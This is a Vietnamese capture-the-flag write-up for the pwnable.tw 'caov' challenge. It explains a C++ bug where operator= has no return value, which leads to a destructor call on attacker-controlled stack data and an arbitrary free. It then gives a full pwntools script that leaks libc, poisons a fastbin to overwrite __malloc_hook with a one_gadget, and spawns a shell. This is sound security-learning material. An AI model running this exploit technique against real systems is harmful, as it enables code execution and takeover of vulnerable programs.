CAOV
Vuln: Chương trình C++ vi phạm cơ chế return by value của SYSV ABI, dẫn đến lời gọi destructor trên dữ liệu trên stack trước đó được attacker kiểm soát.
tl;dr: Cơ chế của sysv abi ở C++, trên C ko có cái này.
Recon
Mitigation
$ pwn checksec caov
[*] '/home/hungnt/pwnable.tw/caov/caov'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)$ file caov
caov: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=450fd6ca04d5ac966932514a773f8567e5f338fb, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.23/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x7552dc000000
/home/hungnt/pwnable.tw/caov/libc_64.so.6
ld is at: 0x7552dc000000
/home/hungnt/pwnable.tw/caov/libc_64.so.6
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesCode
main()
/* g++ -std=c++11 -Wl,-z,relro,-z,now -o caov caov.cpp */
#include <bits/stdc++.h>
#include <unistd.h>
using namespace std;
class Data;
Data *D;
char name[160];
class Data
{
public:
Data():key(NULL) , value(0), change_count(0){ init_time(); }
Data(string k, int v)
{
key = new char[k.length() + 1];
strcpy(key, k.c_str());
value = v;
change_count = 0;
update_time();
}
Data(const Data &obj)
{
key = new char[strlen(obj.key)+1];
strcpy(key, obj.key);
value = obj.value;
change_count = obj.change_count;
year = obj.year;
month = obj.month;
day = obj.day;
hour = obj.hour;
min = obj.min;
sec = obj.sec;
}
Data operator=(const Data &rhs)
{
key = new char[strlen(rhs.key)+1];
strcpy(key, rhs.key);
value = rhs.value;
change_count = rhs.change_count;
year = rhs.year;
month = rhs.month;
day = rhs.day;
hour = rhs.hour;
min = rhs.min;
sec = rhs.sec;
}
void edit_data()
{
if(change_count == 10)
{
cout << "You can only edit your data 10 times at most." << endl;
cout << "Bye ._.\\~/" << endl;
exit(0);
}
int old_len = strlen(key);
unsigned int new_len = 0;
cout << "New key length: ";
cin >> new_len;
getchar();
if(new_len == 0 || new_len > 1000)
{
cout << "Invalid key length" << endl;
return;
}
if (new_len > old_len) key = new char[new_len+1];
set_data(new_len);
change_count += 1;
}
void set_data(unsigned int n)
{
cout << "Key: ";
cin.getline(key, n+1); // read n byte + 1 null byte ( auto append )
cout << "Value: ";
cin >> value;
getchar();
update_time();
}
void update_time()
{
time_t cur_time = time(NULL);
struct tm *now = localtime(&cur_time);
year = now->tm_year + 1900;
month = now->tm_mon + 1;
day = now->tm_mday;
hour = now->tm_hour;
min = now->tm_min;
sec = now->tm_sec;
}
void info()
{
cout << "Key: " << key << endl;
cout << "Value: " << value << endl;
cout << "Edit count: " << change_count << endl;
cout << "Last update time: ";
printf("%d-%d-%d %d:%d:%d\n", year, month, day, hour, min, sec);
}
~Data()
{
delete[] key;
key = nullptr;
value = 0;
change_count = 0;
init_time();
}
private:
char *key;
long value;
long change_count;
int year;
int month;
int day;
int hour;
int min;
int sec;
void init_time()
{
year = 0;
month = 0;
day = 0;
hour = 0;
min = 0;
sec = 0;
}
};
void set_name()
{
char tmp[160]={};
char c;
cout << "Enter your name: ";
int cnt = 0;
while(1)
{
int len = read(0, &c, 1);
if(len != 1)
{
cout << "Read error" << endl;
exit(-1);
}
tmp[cnt++] = c;
if(c == '\n' || cnt == 150)
{
tmp[cnt-1] = '\0';
break;
}
}
memcpy(name, tmp, cnt);
}
void edit()
{
Data old;
old = *D;
D->edit_data();
cout << "\nYour data info before editing:" << endl;
old.info();
cout << "\nYour data info after editing:" << endl;
D->info();
}
void playground()
{
int choice = 0;
while(1)
{
cout << "\nMenu" << endl;
cout << "1. Show name & data" << endl;
cout << "2. Edit name & data" << endl;
cout << "3. Exit" << endl;
cout << "Your choice: ";
cin >> choice;
getchar();
switch(choice)
{
case 1:
cout << "\nYour name is : "<< name << endl;
cout << "Your data :" << endl;
D->info();
break;
case 2:
set_name();
edit();
break;
case 3:
cout << "Bye !" << endl;
return;
default:
cout << "Invalid choice !" << endl;
exit(0);
}
}
}
int main(int argc, char *argv[])
{
setvbuf(stdin,0, 2, 0);
setvbuf(stdout,0, 2, 0);
setvbuf(stderr,0, 2, 0);
string k;
long v;
set_name();
cout << "Hello ! " << name << " !" << endl;
cout << "Welcome to Simple key-value DB playground !" << endl;
cout << "Please input a key: ";
cin >> k;
cout << "Please input a value: ";
cin >> v;
D = new Data(k, v);
cout << "Data create success !" << endl;
cout << "Now you can play with your data ^_^" << endl;
playground();
return 0;
}Solve
Mình ngồi đọc mã nguồn file cpp chả thấy bug gì, với mình cũng ko quen với C++ nên mình thử mở IDA đọc code theo C thì mình thấy chỗ này:

Quái lạ, sao lại có một cái buffer chứa Data ở đây nhỉ, mà lại còn gọi destructor của nó nữa? Trong code cpp làm gì có đâu?
void edit()
{
Data old;
old = *D;
D->edit_data();
cout << "\nYour data info before editing:" << endl;
old.info();
cout << "\nYour data info after editing:" << endl;
D->info();
}Sau một hồi Perplexity, mình mới biết đây là calling convention SYSV ABI trên x86-64. Khi hàm cần phải return một object lớn bằng “value”, thì ko thể sử dụng mỗi thanh ghi rax đc, mà nó sẽ dùng một cái buffer ẩn như sau (gọi là cơ chế sret):
- Caller cấp phát một buffer trên stack của mình.
- Caller truyền địa chỉ của buffer đó vào tham số ẩn đầu tiên (RDI), các tham số thật sẽ rời sang các thanh ghi tiếp theo (RSI, RDX, RCX,…).
- Callee sẽ ghi object vào buffer đó trước khi return.
- Khi object đc trả về ra khỏi scope, compiler sẽ chèn lợi gọi destructor tương ứng.
Nhìn vào operator=()
Data operator=(const Data &rhs)
{
key = new char[strlen(rhs.key)+1];
strcpy(key, rhs.key);
value = rhs.value;
change_count = rhs.change_count;
year = rhs.year;
month = rhs.month;
day = rhs.day;
hour = rhs.hour;
min = rhs.min;
sec = rhs.sec;
}Return type là Data nhưng lại ko có câu return nào. Việc thiếu return *this khiến cho ko có lượt copy nào đc thực hiện để ghi dữ liệu vào v4.
v4 vẫn sẽ chứa giữ liệu trên stack trước đó vì ko đc động tới:
char v4[56]; // [rsp+30h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+68h] [rbp-18h]
v5 = __readfsqword(0x28u);
sub_40198E(old);
operator_e((__int64)v4, (__int64)old, D);
Data_destructor((__int64)v4);Và hàm destructor sau đó sẽ free tại đây:
__int64 __fastcall Data_destructor(__int64 a1)
{
if ( *(_QWORD *)a1 )
operator delete[](*(void **)a1);
*(_QWORD *)a1 = 0LL;
*(_QWORD *)(a1 + 8) = 0LL;
*(_QWORD *)(a1 + 16) = 0LL;
return sub_401EC4(a1);
}Hàm edit() đc gọi ngay sau hàm set_name(), vì vậy stack frame trước đó của edit() có trùng với set_name(), nên mình có thể ghi địa chỉ nào đó hợp lệ trong tên trùng đúng với vị trí của v4, dẫn đến free() tuỳ ý sau đó.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
exe = ELF("caov_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *malloc
b *0x401BF8
continue
'''
def conn():
if args.LOCAL:
p = process(['./ld-2.23.so', '--library-path', '.', './caov_patched'])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10306
return remote(host, port)
p = conn()
def set_name(name):
sla(p, b'your name', name)
def input_data(key, value):
sla(p, b'ey:', key)
slan(p, b'alue:', value)
def show():
slan(p, b'choice', 1)
def edit(name, length, key, value):
slan(p, b'choice', 2)
set_name(name)
slan(p, b'length', length)
input_data(key, value)
set_name(b'ngtuonghung')
input_data(b'A', 0)
name_addr = 0x6032c0
print("Setting up")
# Free name (as a fake chunk) to fastbin
edit(flat({
0x8: 0x71,
0x60: name_addr + 0x10,
0x78: 0x21,
}, filler=b'\0'), 1, b'A', 0)
# Overwrite fd and malloc name chunk (0x60 length)
# Now name - 0x3b in fastbin
edit(flat({
0x8: 0x71,
0x10: name_addr - 0x3b,
0x35 + 8: 0x21,
0x60: 0,
}, filler=b'\0'), 0x60, b'A', 0)
print("Leaking libc")
# 0x603280 —▸ 0x7... (_IO_2_1_stderr_) ◂— 0xfbad2087
# Malloc it (0x60) and write name + 0x68 to D pointer to leak libc
edit(flat({
0x60: 0,
0x68: 0x603280,
}, filler=b'\0'), 0x60, flat({
0xb: name_addr + 0x68,
}, filler=b'\0'), 0)
# Leak libc by showing D's key
ru(p, b'after')
ru(p, b'Key: ')
libc.address = leak_bytes(rn(p, 6), libc.symbols['_IO_2_1_stderr_'])
lg("libc base", libc.address)
print("Overwriting malloc hook")
# Do this again to overwrite fd to malloc hook
edit(flat({
0x8: 0x71,
0x60: name_addr + 0x10,
0x68: name_addr,
0x78: 0x21,
}, filler=b'\0'), 1, b'A', 0)
edit(flat({
0x8: 0x71,
0x10: libc.symbols['__malloc_hook'] - 0x23,
0x60: 0,
}, filler=b'\0'), 0x60, b'A', 0)
'''
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
'''
one_gadget = libc.address + 0xef6c4
lg("one gadget", one_gadget)
print("Spawn shell")
edit(flat({
0x60: 0,
}, filler=b'\0'), 0x60, flat({
0x13: one_gadget,
}, filler=b'\0'), 0)
ia(p)